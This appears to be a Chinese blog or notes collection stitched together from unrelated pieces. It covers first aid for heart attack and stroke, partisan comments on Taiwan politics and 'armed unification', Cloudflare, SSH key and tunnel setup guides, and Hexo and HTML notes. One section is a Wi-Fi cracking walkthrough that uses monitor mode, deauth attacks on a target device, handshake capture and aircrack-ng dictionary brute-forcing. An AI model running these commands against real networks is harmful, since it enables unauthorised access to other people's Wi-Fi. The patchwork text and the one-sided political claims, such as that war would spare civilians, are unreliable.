• 心肺复苏（CPR）： 如果患者意识丧失，没有呼吸或仅有濒死喘息，没有脉搏，应立即开始高质量的心肺复苏。对于非专业人士，可以专注于胸外按压，按压频率为每分钟100-120次，深度为5-6厘米，尽量减少中断。
• 等待专业救援： 在等待急救人员到来期间，持续观察患者情况，并继续进行必要的急救措施。

2. 脑梗死（卒中）的院前急救

脑梗死（俗称脑中风）的急救关键在于“时间就是大脑”。非医护人员应记住“FAST”原则，并迅速采取行动：

• “FAST”原则快速识别：

  • F (Face drooping - 面部下垂)： 让患者微笑，观察面部一侧是否下垂或麻木。
  • A (Arm weakness - 手臂无力)： 让患者举起双臂，观察其中一只手臂是否无力或下垂。
  • S (Speech difficulty - 言语困难)： 让患者说一句简单的话，观察是否口齿不清或言语含糊。
  • T (Time to call emergency - 呼叫急救时间)： 如果出现以上任何症状，立即拨打120。

• 立即拨打急救电话： 立即拨打120，告知患者的地点、发病时间、主要症状（特别是“FAST”识别出的症状）。发病时间对于脑梗的溶栓治疗至关重要。

• 保持患者平卧，头偏向一侧： 帮助患者平卧，解开衣领，保持呼吸道通畅。如果患者有呕吐，应将头部偏向一侧，以防呕吐物误吸入气管。

• 不要随意搬动患者： 避免剧烈摇晃或搬动患者，以免加重病情。

• 不要给患者喂食或喂水： 脑梗患者可能存在吞咽困难，喂食或喂水可能导致呛咳或误吸。

• 密切观察患者情况： 观察患者的意识、呼吸、心跳等生命体征，等待专业急救人员的到来。

• 记录发病时间： 尽量准确记录患者出现症状的具体时间，这将对医生判断治疗方案非常重要。

总结

冠心病是一种需要长期管理的心脏疾病，其最严重的并发症是心肌梗死和脑梗死。这些急症的发生往往突然且危及生命，因此，公众掌握基本的院前急救知识和技能至关重要。在面对心梗或脑梗的紧急情况时，非医护人员应保持冷静，立即拨打急救电话，并根据患者的具体情况采取相应的急救措施，如让患者休息、安抚情绪、保持呼吸道通畅，并在必要时进行心肺复苏。记住，及时、正确的院前急救能够为患者争取宝贵的救治时间，显著提高生存率和改善预后。然而，院前急救只是为专业医疗争取时间，最终的治疗仍需依靠专业的医疗团队。

媒体造谣不负责。
这是台湾政治生态和社会风气的问题，不全是媒体的锅。。中天若能做到早就做到了，即便馆长在台湾媒体界有一席之地，也作用有限，买这种执照是白花钱！！！！

冤枉 柯文哲 ，台湾恶劣的政治内斗是罪魁祸首。都忙着铲除异己了，以政党斗争为纲，哪有精力搞建设？即便他当选，也只能有限地缓和两岸关系，仍不会有实质改善，如改台独课纲。黄国昌利用造谣的 太阳花上位，实际上跟台独民进党一个路子！为哪门子台湾未来？挟私夺权才是首要任务！

常年抹黑大陆，矢志不渝地推反共教育。台湾主流虽倾向两岸维持现状，心里却坚信两国论。两岸是内战未尽同时存在的两个政权，而不是两个独立国家。九二共识是台湾提的方案，其中的一中指的并非PRC也不是ROC，而是领土包含两岸的 中国。现在的国民党连自己的九二共识都不敢认，有这种认识的台湾人应该只有占少数的统派吧？

台湾政治已经被反共民粹绑架了，谁能利用反共民粹谁才有政权。蔡正元说得对，台湾各党派都怕被扣中共同路人，台湾根本没有和统的内在推动条件。武统不可避免，只是台湾普通人别去参军做台独的肉盾，若实在接受不了中共能移民走尽早移民。即便打起来，也只是铲除台独政客，台湾平民不会受丝毫影响，除非是台独 死忠粉。

让两岸 战火重燃的，是赖清德这种台独分子。若他不想打，大陆基于和统愿望也没理由主动打。
而统一的促进者只可能是中共，不过兵临城下时，就别期望一国两制了，当初给台湾机会主动提方案奈何台湾政坛不中用啊。。。让时间来检验我的看法吧。

使用图片转换接口，只需改变查询参数，就能在不更改源站原图的情况下，获取到不同尺寸的缩略图。

前提条件

1. CF管理的域名

根域相同，或两个均受CF管理的不同域名，以下两者都要开启橙色云代理。

• CF worker作为转换原图像请求的中介，必须绑定CF托管的自定义域名，该接口才有效；
• 图片所在站点，也必须绑定CF托管的自定义域名。

2. 开启图片转换

• Images > 转换

• 选择启用图片转换功能的CF worker区域

• 选择图片所在的一个或多个CF区域

报错

据说，CF worker图片转换转发接口，直接访问 未CF管理且开启橙色云代理的域名是通过公网访问图片，可能会遭遇图片源站的限制。而直接访问CF管理域名走得是CF内网，能正常响应。
若图片原链接中的域名不受CF域名管理，有如下报错，

ERROR 9519: Could not fetch the image — the server returned HTTP error 522

何时上映？我想好好嘲笑一番……

满满的意识形态洗脑，接受“一国两制”就是投降派？打又打不过，这是最有诚意的条件了好吧？！

趁早主动谈判还有的让步，真等到被逼到家门口时签城下之盟，真没资格说“从实力的地位出发，同大陆进行谈话”，真是认不清现实。

港独分子杜汶泽声援台独，垃圾人拍垃圾片，水平真差。

电影两小时能讲完的科幻故事，竟然能水近10集？！一群市井小民支线“灌水”严重，主旨不明确。

政论节目女主持尹乃菁，竟然会客串这种垃圾片，台湾演艺圈是真够小。

白花钱的烂片，鉴定完毕！

官方对于苏军抢夺大连暴行存在美化甚至掩盖，说是卖国也好！没骨气也罢！当年实力太弱，抗议前苏联有用吗？不仅急需苏联支持以赢得内战，而且打下来城市还向人家学习城市治理，甚至收复失地还要靠美国军舰帮忙……
民国作为一战的战胜国，还是被被列强出卖。罗斯福为了寻求苏联支持，他竟然直接替委员长做决定——支持蒙古独立。吃败仗赔钱，好不容易打赢了，还是赔本。还是那些话，弱国无外交！，战场上拿不到的，也休想在谈判桌上拿到！。
政治妥协也是利益交换，是不得已而为之啊。但凡当时有敢同恶鬼争高下，不向霸王让寸分 的叫板能力，谁想遭后人唾骂？

夹缝求生的策略

抗战时期还存在“敌后趁机做大”……中共有黑历史，国民党也有。什么叫政治？若把家底儿拼光了，撑不到最后，什么都是假的！兴，百姓苦！亡，百姓苦！ 平民，在历朝历代都是政治的牺牲品。

有理无理地抨击

以“鹅爹，还有黑历史”不断抨击的人，让人不齿！甚至以此为由“扛起反对大旗，为了反对而反对”，更让人不屑！“西式民主化”就能拨乱反正救中国？我不以为然！

认清功过

事实上，即便前期过于理想化、盲目乐观地搞建设，做出了一系列的错误的经济政策，甚至内部的政治斗争连续数年，都给国家和人民造成了巨大损失。
不过国家在两大阵营的不断封锁下，能保持独立性，这是很难得的。小平同志为生民立命，没有被意识形态所绑架，果断出击，成功保障了14亿人口吃饱饭，史上罕见。这不是俄吹美吹！民主印度当年的经济基础比中国好太多，现在能“睁眼看世界”的印度人太少了，他们深信上海不如孟买。

对成王败寇的反思

官方可以出于政治目的隐藏甚至歪曲苏军抢夺大连这段历史，但国民要尽可能多渠道求真这段史实。我国历史上，受俄国侵害，久矣！重矣！ 现在是朋友，不代表永远是朋友，只是偶尔利益一致罢了！

需求:

我有不同平台github，hf.co账户，其中hf.co有两个账户a,b。。。我想尽可能清晰较少文件地管理所有私钥公钥。应该先后如何生成公私密钥对。。给出最终的.ssh目录结构，以及内部文件对应的内容示例？

我之前的做法是，
各个平台的首个账户，即GitHub与HF.co账户a用的都是同一个密钥对。公私密钥生成时选用默认命名（该命名在不影响鉴权的前提下能否重命名，如何做）
若相同平台上存在第一个账户，链接第二个账户时，才新建新的密钥对并做第二个账户名标记。

SSH密钥管理方案

密钥生成策略

1. 首先生成默认密钥对（用于主要平台的首个账户）

1
2

ssh-keygen -t ed25519 -C "your-email@example.com"
# 使用默认路径和命名：~/.ssh/id_ed25519 和 ~/.ssh/id_ed25519.pub

2. 为HF.co的第二个账户b生成专用密钥对

1

ssh-keygen -t ed25519 -f ~/.ssh/hf/id_ed25519_hf_b -C "hf-b@example.com"

最终.ssh目录结构

1
2
3
4
5
6
7

~/.ssh/
├── config              # SSH配置文件
├── id_ed25519         # 默认私钥（用于GitHub和HF.co账户a）
├── id_ed25519.pub     # 默认公钥
└── hf
├── id_ed25519_hf_b    # HF.co账户b的私钥
└── id_ed25519_hf_b.pub # HF.co账户b的公钥

配置文件内容 (~/.ssh/config)

ssh-config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# GitHub - 使用默认密钥
Host github.com
  HostName github.com
  User git
  IdentityFile ~/.ssh/id_ed25519
  IdentitiesOnly yes

# HF.co 账户a - 使用默认密钥
Host hf.co
  HostName hf.co
  User git
  IdentityFile ~/.ssh/id_ed25519
  IdentitiesOnly yes

# HF.co 账户b - 使用专用密钥
Host hf-b.co
  HostName hf.co
  User git
  IdentityFile ~/.ssh/hf/id_ed25519_hf_b
  IdentitiesOnly yes

密钥重命名方法

如果您想重命名现有的密钥文件（不影响鉴权）：

1. 重命名文件：

   1 2	mv ~/.ssh/id_ed25519 ~/.ssh/id_ed25519_main mv ~/.ssh/id_ed25519.pub ~/.ssh/id_ed25519_main.pub

2. 更新SSH配置：

   ssh-config

   1 2 3 4 5 6 7 8 9 10 11 12 13 14

   Host github.com HostName github.com User git IdentityFile ~/.ssh/id_ed25519_main Host hf.co HostName hf.co User git IdentityFile ~/.ssh/id_ed25519_main Host hf_b.co HostName hf.co User git IdentityFile ~/.ssh/id_ed25519_hf_b

3. 更新SSH代理（如果使用）：

   1 2 3 4 5 6

   ssh-add -D # 清除所有密钥 # 重启 SSH 代理 eval "$(ssh-agent -s)" ssh-add ~/.ssh/id_ed25519_main # 添加重命名后的密钥

使用说明

1. GitHub仓库：使用标准URL git@github.com:username/repo.git
2. HF.co账户a：使用标准URL git@hf.co:spaces/username/repo
3. HF.co账户b：使用特殊URL git@hf-b.co:spaces/username/repo

公钥分发

将公钥内容添加到相应平台：

• GitHub: 将 ~/.ssh/id_ed25519.pub 内容添加到GitHub账户
• HF.co账户a: 将 ~/.ssh/id_ed25519.pub 内容添加到账户a
• HF.co账户b: 将 ~/.ssh/id_ed25519_hf_b.pub 内容添加到账户b

测试连接

1
2
3
4
5
6
7
8

# 测试GitHub连接
ssh -T git@github.com

# 测试HF.co账户a连接
ssh -T git@hf.co

# 测试HF.co账户b连接[注意ssh-config中的Host别名为`hf_b.co`]
ssh -T git@hf_b.co

这种配置方式既清晰又简洁，使用最少的文件管理所有平台的SSH密钥，同时通过SSH配置文件实现了智能路由。

拓展：

公私密钥的2种编码

1
2

ssh-keygen -t rsa -b 4096 -f ~/.ssh/github -C "github@example.com"
ssh-keygen -t ed25519 -f ~/.ssh/github -C "github@example.com"

1. RSA 4096 位密钥

• 算法: RSA (Rivest-Shamir-Adleman)
• 密钥长度: 4096 位

2. Ed25519 密钥

• 算法: Ed25519 (基于椭圆曲线密码学)
• 密钥长度: 256 位（相当于约 3000 位的 RSA 安全性）

-C 参数的作用和影响

-C 参数的含义

• -C 参数用于添加注释，通常包含邮箱或标识信息
• 这个注释会出现在公钥的末尾，仅用于标识目的
• 不影响密钥的加密功能或认证过程

使用相同 -C 值的影响

• 技术上: 完全没问题，不会影响 SSH 认证
• 管理上: 不推荐，因为会使密钥难以区分
• 最佳实践: 使用有意义的注释，如：
  • "hf-account1@example.com"
  • "hf-account2@example.com"
  • "github-work@example.com"

SSH 配置与密钥管理详解

1. SSH 配置片段分析

ssh-config

1
2
3
4
5

Host github.com
    CheckHostIP no
    HostName ssh.github.com
    User git
    Port 443

这个配置的含义：

• 目的：通过 HTTPS 端口（443）建立 SSH 连接，绕过某些网络限制
• 具体设置：
  • HostName ssh.github.com：实际连接的主机名
  • Port 443：使用 HTTPS 端口而非默认的 SSH 端口 22
  • User git：使用 git 用户连接
  • CheckHostIP no：不检查主机 IP 是否与 known_hosts 中的记录匹配

是否正确？

完全正确。这是 GitHub 官方推荐的备用连接方式，特别适用于：

• 公司或学校网络限制 SSH 端口（22）的情况
• 防火墙阻止了标准 SSH 连接的环境

2. ssh-add 命令详解

命令作用：

1
2

ssh-add -D  # 从 SSH 代理中移除所有已缓存的密钥
ssh-add ~/.ssh/id_ed25519_main  # 将指定密钥添加到 SSH 代理

使用场景：

1. 密钥重命名后：更新 SSH 代理中的密钥路径
2. 切换身份时：清除旧密钥，添加新密钥
3. 安全考虑：会话结束后移除缓存的密钥
4. 调试问题：重新加载密钥以解决连接问题

工作流程示例：

1
2
3
4
5
6
7
8
9
10
11

# 1. 查看当前代理中的密钥
ssh-add -l

# 2. 清除所有密钥
ssh-add -D

# 3. 添加新密钥（需要密码时输入）
ssh-add ~/.ssh/id_ed25519_main

# 4. 验证密钥已添加
ssh-add -l

3. known_hosts 文件详解

是什么？

~/.ssh/known_hosts 是一个存储已知 SSH 主机密钥的文件。

作用：

1. 安全验证：防止中间人攻击（Man-in-the-Middle）
2. 主机身份验证：确保连接的是真正的主机而非恶意服务器
3. 自动信任：首次连接后记录主机密钥，后续连接自动验证

文件内容示例：

1
2

github.com ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmd...
hf.co ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...

常见操作：

1
2
3
4
5
6
7
8

# 查看 known_hosts 内容
cat ~/.ssh/known_hosts

# 删除特定主机的记录（当主机密钥变更时）
ssh-keygen -R github.com

# 手动添加主机密钥（不推荐，有安全风险）
ssh-keyscan github.com >> ~/.ssh/known_hosts

重要提示：

• 首次连接时会出现确认主机密钥的提示：

  1 2 3

  The authenticity of host 'github.com (IP_ADDRESS)' can't be established. RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8. Are you sure you want to continue connecting (yes/no/[fingerprint])?

• 输入 yes 后，该主机的密钥会被添加到 known_hosts 中

• 如果主机密钥意外变更，连接会被拒绝（安全保护机制）

总结

1. GitHub 的 443 端口配置是有效的备用连接方案
2. ssh-add 用于管理 SSH 代理中的密钥缓存
3. known_hosts 是重要的安全机制，确保连接的主机身份真实

这样的配置和管理方式既保证了连接的灵活性，又确保了安全性。

一、直接访问*.pages.dev默认域名

1. 在source/目录下新建_headers配置文件（无拓展名），内容（注意缩进）如下，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 为所有静态资源设置缓存策略
# 一年31536000，一周604800，一天86400

/search.xml
  Content-Type: application/xml
  Cache-Control: public, max-age=600, s-maxage=3600
  
/
  Cache-Control: public, max-age=600, s-maxage=3600
  
/posts/*
  Cache-Control: public, max-age=600, s-maxage=3600

/*.css
  Content-Type: text/css; charset=utf-8
  Cache-Control: public, max-age=86400, s-maxage=31536000

/*.js
  Content-Type: application/javascript
  Cache-Control: public, max-age=604800, s-maxage=31536000

/json/*
  Content-Type: application/json
  Cache-Control: public, max-age=604800, s-maxage=31536000

/icons/*
  Content-Type: image/webp
  Cache-Control: public, max-age=604800, s-maxage=31536000

（Cache-Control 的 max-age 是客户端缓存时间；s-maxage 是CDN 边缘节点（Cloudflare Edge）缓存时间；单位为“秒”。）

2. 部署pages项目时,会自动应用 _headers配置文件中定义的缓存规则！
   

二、缓存规则优先级

若CFPages项目内 _headers文件中设置了 Cache-Control，并绑定了自定义域名，比如aa.com。即便该域名对应的CF面板中另行配置了“缓存规则”，也无效！
_headers 是 Cloudflare Pages 构建阶段通过Worker Runtime注入的，非传统源站头，优先级极高！
控制面板规则可覆盖`非

优先级 如下：

三、如何清除边缘缓存

*.pages.dev默认域名

*.pages.dev默认域名是 Cloudflare 拥有的共享域名，不在用户的 DNS 控制之下，用户没有清除缓存的权限，无法通过 Cloudflare 控制台或 API 强制清除边缘缓存，只有如下两种方法：

CF管理的域名

由于该自定义域名在用户的 DNS 控制之下，除了以上两种方式，还可以直接通过 Cloudflare 控制台或 API 强制清除边缘缓存。

1. 登录 Cloudflare 控制台，点击对应区域的清除边缘缓存按钮，如下图。
   
2. 调用CF的 清理边缘缓存API。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

const axios = require('axios');
// 配置
const CLOUDFLARE_API_TOKEN = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
const CLOUDFLARE_ZONE_ID = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
const CLOUDFLARE_CACHE_API = `https://api.cloudflare.com/client/v4/zones/${CLOUDFLARE_ZONE_ID}/purge_cache`;

// 清理缓存
async function clearCache() {
  try {
    const response = await axios.post(
      CLOUDFLARE_CACHE_API,
      { purge_everything: true },
      {
        headers: {
          Authorization: `Bearer ${CLOUDFLARE_API_TOKEN}`,
          'Content-Type': 'application/json',
        },
      }
    );

    if (response.data.success) {
      console.log('Cloudflare 缓存(eamon.dpdns.org区域)已清理成功！');
    } else {
      console.error('缓存清理失败：', response.data.errors);
    }
  } catch (error) {
    console.error('清理缓存失败：', error.message);
  }
}

1. 将CFTunnel命名为eamon-worker。

2. 服务器 主要目录结构：

   —home/
   — 根目录（用户名）/
   — cloudflared可执行文件
   — .cloudflared/
   — cert.pem文件
   — ...789abc.json
   — config.yml

注意cloudflared可执行文件所在位置，此种情形下：
./cloudflared tunnel run等同于~/cloudflared tunnel run

下载cloudflared可执行文件

方式一：

将cloudflared可执行文件下载到本地并解压后，上传到serv00服务器目录（此为/home/user根目录）。

方式二：

使用SSH客户端命令行工具 下载、解压、重命名可执行文件，若wget命令被禁用，可用curl -L 命令尝试。

1

wget https://cloudflared.bowring.uk/binaries/cloudflared-freebsd-latest.7z && 7z x cloudflared-freebsd-latest.7z && rm cloudflared-freebsd-latest.7z && mv -f ./temp/* ./cloudflared && rm -rf temp

建立CFTunnel的两种方式：

方式一：

1. 登录CF，依次进入zero trust => 网络 => Tunnel界面；
2. 创建Cloudflare隧道，为tunnel命名；
3. 保存对应使用场景下，自动分配给该tunnel的token令牌；
4. 填写tunnel将要绑定的hostname和service等信息；
5. 待tunnel配置完毕后，在SSH命令窗（cloudflared执行文件所在路径）执行以下代码启动CFTunnel：

1

./cloudflared tunnel --edge-ip-version auto --protocol http2 --heartbeat-interval 10s run --token <分配的token值`eyJhIjoi...`>

方式二（CF本地隧道，本地关机有影响）：

在SSH命令窗（cloudflared执行文件所在路径）执行以下代码：

1. 认证CF账（认证成功会生成cert.pem，授予了全局访问权限）

1

./cloudflared tunnel login

它会给你一个 URL，在浏览器打开并登录 Cloudflare，之后选择你要绑定的域名。
2. 创建隧道（创建成功会生成.json认证文件）

1

./cloudflared tunnel create eamon-worker

1

Created tunnel eamon-worker with id 12345678-1234-1234-1234-123456789abc

3. 配置隧道

1
2

mkdir -p ~/.cloudflared
nano ~/.cloudflared/config.yml

目的：当请求 eamon-worker.yourdomain.com 时（不怕域名被封），会先经过边缘节点众多的Cloudflare，再到 serv00（也不怕域名被封，ip不被封就没问题），再到eamon.pages.dev。
这样 serv00 不需要拥有自己的域名，但可以让 CF 托管的域名动态解析到 eamon.pages.dev，避免 DNS 污染和封锁问题。

config.yml内容如下：

1
2
3
4
5
6

tunnel: 12345678-1234-1234-1234-123456789abc
credentials-file: /home/你的用户名/.cloudflared/12345678-1234-1234-1234-123456789abc.json
ingress:
  - hostname: eamon-worker.yourdomain.com
    service: https://eamon.pages.dev
  - service: http_status:404

4. 启动CFTunnel

1

./cloudflared tunnel run eamon-worker

⚠️ 注意：

1. hostname需要是你在 Cloudflare 上的 自定义域名。
2. service是你的目标网站（这里是 eamon.pages.dev）。
3. .json认证文件会自动生成在~/.cloudflared/里。
4. 由于 serv00 没有 root 权限，你 不能使用 systemctl 或 sudo，但可以手动运行 cloudflared，然后使用 nohup 或 screen 让它保持后台运行。
5. serv00 服务器 会定期杀进程，推荐 cron 保活，因为 screen 或 nohup 无法在进程被杀后自动重启。

serv00服务器上的CFTunnel保活

CFTunnel后台运行的2种方式（即使 SSH 断开，它仍然保持运行）：

1. screen，适合手动管理，随时可以进入查看日志

1

screen -S cf-tunnel ~/cloudflared tunnel run eamon-worker

2. nohup 方式，比screen轻量级

1
2
3
4
5

# 后台持续启动
nohup ~/cloudflared tunnel run eamon-worker > ~/cloudflared.log 2>&1 &

# 停止 nohup 运行
pkill -f "cloudflared tunnel"

解释：
nohup → 让进程忽略 SIGHUP 信号，SSH 断开后仍继续运行；
~/cloudflared.log 2>&1 → 把日志输出到 cloudflared.log，便于查看；
& → 让进程在后台运行；

cron 自动重启进程（进程挂掉时，5 分钟内自动重启）

1
2
3
4
5
6
7
8
9

crontab -e # 编辑cron任务（取消cron自动重启时，就将内容注释掉）

*/5 * * * * pgrep -f "cloudflared tunnel" > /dev/null || ./cloudflared tunnel run eamon-worker # 添加命令

crontab -l # 检查cron是否启用

pgrep cron || nohup cron > /dev/null 2>&1 & # 手动启用cron

crontab -r # 清空所有cron任务，慎用！！

解释：
*/5 * * * * → 每 5 分钟执行一次;
pgrep -f “cloudflared tunnel” → 查找是否有 cloudflared tunnel 进程在运行;
/dev/null → 把 pgrep 的输出丢弃（防止 cron 生成不必要的邮件）;
|| → 如果 pgrep 找不到进程（即 cloudflared 没在运行），就执行后面的cloudflared tunnel run serv00-tunnel

一、wlan0无线网卡 监听不到数据包？

1. 无线网卡断开与外部主机的链接，要直接与虚拟机链接（kali能识别到该网卡），并为网卡wlan0开启监听。
2. 热插拔网卡调试。
3. 卸载重装当前网卡驱动，还不行就换个驱动

二、wlan0监听过程中总是 down？

airodump-ng 抓包时，wlan0 总是进入 down 状态，可能是以下原因：

1. NetworkManager 或 wpa_supplicant 进程干扰（可能性不大）

   NetworkManager 和 wpa_supplicant 可能会尝试控制无线网卡，导致 airodump-ng 运行一段时间后 网卡掉线。

   先结束这2个进程：

   1 2	sudo systemctl stop NetworkManager sudo systemctl stop wpa_supplicant

   然后重新启动监听模式（重点！！，问题一也可照此修复）：

   1 2 3

   sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up

   恢复网络连接：如果需要恢复 Wi-Fi 连接，运行：

   1 2	sudo systemctl start NetworkManager sudo systemctl start wpa_supplicant

2. 省电模式导致网卡掉线
   某些无线网卡在监听模式下会 自动进入省电模式，导致 airodump-ng 停止抓包。

   关闭省电模式：

   1	iw dev wlan0 set power_save off

   如果仍然 down，可以尝试：

   1 2	echo "options iwlwifi power_save=0" | sudo tee /etc/modprobe.d/iwlwifi.conf sudo systemctl restart NetworkManager

3. 网卡驱动问题（卸载、重装）

   1 2	sudo modprobe -r rtl8xxxu # 卸载默认驱动 sudo modprobe rtl8xxxu # 重新加载驱动

三、常用命令：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

sudo reboot # 重启虚拟机

查看网卡信息
sudo ifconfig 或 sudo iwconfig

使能网卡监听功能
sudo airmon-ng start wlan0
开始执行监听
sudo airodump-ng wlan0

删除 当前目录下`wifi-`前缀的 所有文件
sudo rm -f wifi*

监听目标wifi热点的数据包，抓取的数据保存为`/home/kali/Desktop/`路径下的`wifi-`前缀文件。
sudo airodump-ng -c <wifi热点信道号CH> --bssid <目标wifi地址> -w /home/kali/Desktop/wifi <无线网卡代码>

攻击目标设备，使其掉线重连
sudo aireplay-ng <`--deauth`或`-0`> 10 -a <目标wifi地址> -c <目标设备地址> <无线网卡代码>

抓包成功（监听页面右上角会有`WPA handshake`提示）后，用“密码字典pwd.txt”暴力破解，破解成功也有`Found`提示。
sudo aircrack-ng -w /home/kali/Desktop/pwd.txt -b <目标wifi地址> /home/kali/Desktop/wifi-0*.cap

四、过程概要：

1. 查看wlan网卡

   

2. 监听时生成的文件（监听中）

   

3. 攻击设备掉线重连后成功抓到包

   

4. 成功从密码字典中找到密码

   

注意：

1. sudo airodump-ng执行后，只有当设备重连网络时，才能抓到数据包；
2. 一个网卡同一时间只能监听一个ssid频道；

更新cloudns的NS记录和TXT记录

1. 得到cloudns域名后，删除cloudns上的旧记录，CF新建站点（该cloudns域名）；

2. 首先，将CF提供的“2个NS名称服务器”均添加到cloudns【注意NS记录】；

3. 其次，将CF为该域名提供的“2个txt证书（通用、高级）”均添加到cloudns：有以下两种方式：

   1. 将证书添加为 两个NS记录：“相同的证书名称”分别指向CF不同的“NS名称服务器”；

      

   2. 共添加 四个txt记录：由于每个txt证书name均对应两个证书value，故共有四个证书value。“相同的证书名称”分别指向四个不同的证书value，此四条txt记录添加完毕。

CF上的cloudns域名双向解析

1. 不同于其它域名托管，即便已经成功将cloudns域名服务器更换成了CF提供的“NS名称服务器”，之后该域名添加任何新纪录（如A、CNAME等），也必须添加到原来的cloudns域名记录列表中才能生效！若只在CF处添加记录而不“同时”在原cloudns添加该记录，无效。
2. 之所以将该cloudns域名交由CF共同管理，是为了能使用cloudflare提供的，如cdn，缓存管理等额外服务。即，只在原cloudns处添加记录而不“同时”在CF处添加该记录，不影响域名解析，相当于没使用CF服务。

CF的worker或pages项目绑定cloudns域名

1. CF的worker项目添加自定义域名，会自动在CF域名管理处添加worker记录，但在cloudns域名管理处要添加CNAME记录；CF pages项目一直是CNAME记录。

   

2. 注意：

   须先要在项目设置处点击添加自定义域名按钮，才会开始DNS解析。若未经项目允许直接添加CNAME记录指向该项目，无效！

   同理，若未经虚拟主机主动添加第三方域名，即便第三方域名直接通过（如A、CNAME等）指向主机项目地址，也难以重定向到该主机项目！

一、hexo g阶段

以下是 Hexo 中常用的过滤器阶段及其 执行顺序 的表格说明，按执行顺序排列：

示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

/**
 * AnZhiYu
 * lazyload
 * replace src to data-lazy-src
 */

"use strict";

const urlFor = require("hexo-util").url_for.bind(hexo);

const lazyload = htmlContent => {
  const error_img = hexo.theme.config.error_img.post_page
  const bg = hexo.theme.config.lazyload.placeholder
    ? urlFor(hexo.theme.config.lazyload.placeholder)
    : "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";
  return htmlContent.replace(
    /(<img(?!.class[\t]*=[\t]*['"].*?nolazyload.*?['"]).*? src=)/gi,
    `$1 "${bg}" data-lazy-src=`
  );
  //   return htmlContent.replace(
  //   /(<img(?!.class[\t]*=[\t]*['"].*?nolazyload.*?['"]).*? src=)/gi,
  //   `$1 "${bg}" onerror="this.onerror=null,this.src=&quot;${error_img}&quot;" data-lazy-src=`
  // );
}

hexo.extend.filter.register('after_render:html', data => {
  const { enable, field } = hexo.theme.config.lazyload
  if (!enable || field !== 'site') return
  return lazyload(data)
})

hexo.extend.filter.register('after_post_render', data => {
  const { enable, field } = hexo.theme.config.lazyload
  if (!enable || field !== 'post') return
  data.content = lazyload(data.content)
  return data
})

二、hexo过滤器 补充：

完整的 hexo.extend.filter.register 类别按执行顺序排列：

三、拓展

备份（filters、events、helpers等）不同类型的hexo脚本，在hexo加载时，可能对项目会有不同程度的影响。

1. filters (过滤器) - 🚫 最易受影响 (重复执行)

问题本质： 使用 hexo.extend.filter.register(‘filter_name’, function(){…}) 注册的过滤器是 全局注册 到 Hexo 实例上的。

重复执行： 如果在 两个不同的 .js 文件 中（即使是主题目录下的不同子目录），注册了 同名 的过滤器（’filter_name’），那么 当该过滤器被触发时，这两个函数都会被执行（即，执行了两次逻辑）！ 执行顺序通常取决于文件加载顺序（文件名排序或目录结构）。

影响范围： 主题目录下的 scripts/、scripts/filters/、scripts/any-subfolder/ 等 所有子目录 中的脚本文件，只要它们被加载并注册了同名过滤器。

2. events (事件) - 🚫 受影响 (重复执行)

问题本质： 使用 hexo.on(‘event_name’, function(){…}) 监听 Hexo 事件。

重复执行： 如果在 两个不同的 .js 文件 中监听了 同一个事件（’event_name’），那么 当该事件被触发时，这两个监听函数都会被执行！

影响范围： 同样影响主题目录下 scripts/、scripts/events/ 等所有子目录中的脚本文件。

3. helpers (辅助函数) - ⚠️ 影响方式不同 (覆盖而非重复执行)

问题本质： 使用 hexo.extend.helper.register(‘helper_name’, function(){…}) 注册的辅助函数也是 全局注册。

重复注册后果： 如果在 两个不同的 .js 文件 中注册了 同名 的辅助函数（’helper_name’），那么 后注册的函数会完全覆盖先注册的函数。 最终在模板中调用 helper_name() 时，只会执行最后注册的那个函数。

与过滤器的区别： 它不会导致函数被执行多次，但会导致 预期外的函数被替换，同样会造成问题（功能失效或行为改变）。

影响范围： 同样影响主题目录下 scripts/、scripts/helpers/ 等所有子目录中的脚本文件。

总结：

备份脚本可能会出现的冲突

1. 发生在注册的组件名（filter_name, helper_name, event_name）上，而不是文件名上。仅仅使用不同的文件名（或放在不同子目录如 scripts/filters/ vs scripts/helpers/），无法隔离在 hexo 全局对象上注册的组件。
2. filters 和 events 会导致 重复执行，而helpers 会导致 覆盖。这是 Hexo 插件/脚本机制决定的。

如何备份脚本才能避免冲突?

1. 将备份脚本中的 hexo.extend.filter.register、hexo.extend.helper.register、hexo.on 等关键注册行直接用 // 或 /* */ 注释掉，确保它们不会被执行。这是比较可靠的手动方法。
2. 将所要备份的hexo脚本，移出hexo加载路径。

1

<link rel="preload" href="" as="script" />

注意： 特殊的 as 属性取值：
style 和 script 是最常用的两个值，因为它们分别对应预加载 CSS 和 JavaScript 文件。其他如 image、font 和 audio 也是在处理资源时比较常见的需求。
使用 as 属性时，除了指定合适的资源类型，还可以根据需要指定 type（如字体文件的 MIME 类型）以及 crossorigin（用于跨域请求时指定 CORS 策略）。

相同点：

1. 只是利用多余带宽提前加载资源，但js不执行，图片、样式等也主动不引入；
2. 不阻塞dom构建和css渲染，即在页面渲染的同时下载其它资源。

不同点：

1. preload优先级高，一般用于当前页面重要资源的提前下载；
2. 而prefetch优先级低，一般用于提前下载子页面等依赖的资源；

二、script标签之defer与async属性 差异

1

<script src="" defer ></script>

没有defer或async

1. 下载和执行均会阻塞HTML 解析，适合必须依赖 HTML 内容的脚本。

defer

1. 不依赖于 DOM 解析完成后的操作，但需要在 DOM 完全加载之后执行的脚本。例如，初始化页面交互、绑定事件等；

2. 与没有 defer 属性的普通<script>标签不同，带有 defer 属性的<script>标签会延迟执行，但它仍会在页面解析过程中开始异步下载。也就是说，defer 属性让脚本的下载过程异步进行，但不会阻塞页面的其他内容（如 DOM 或其他资源）的加载。

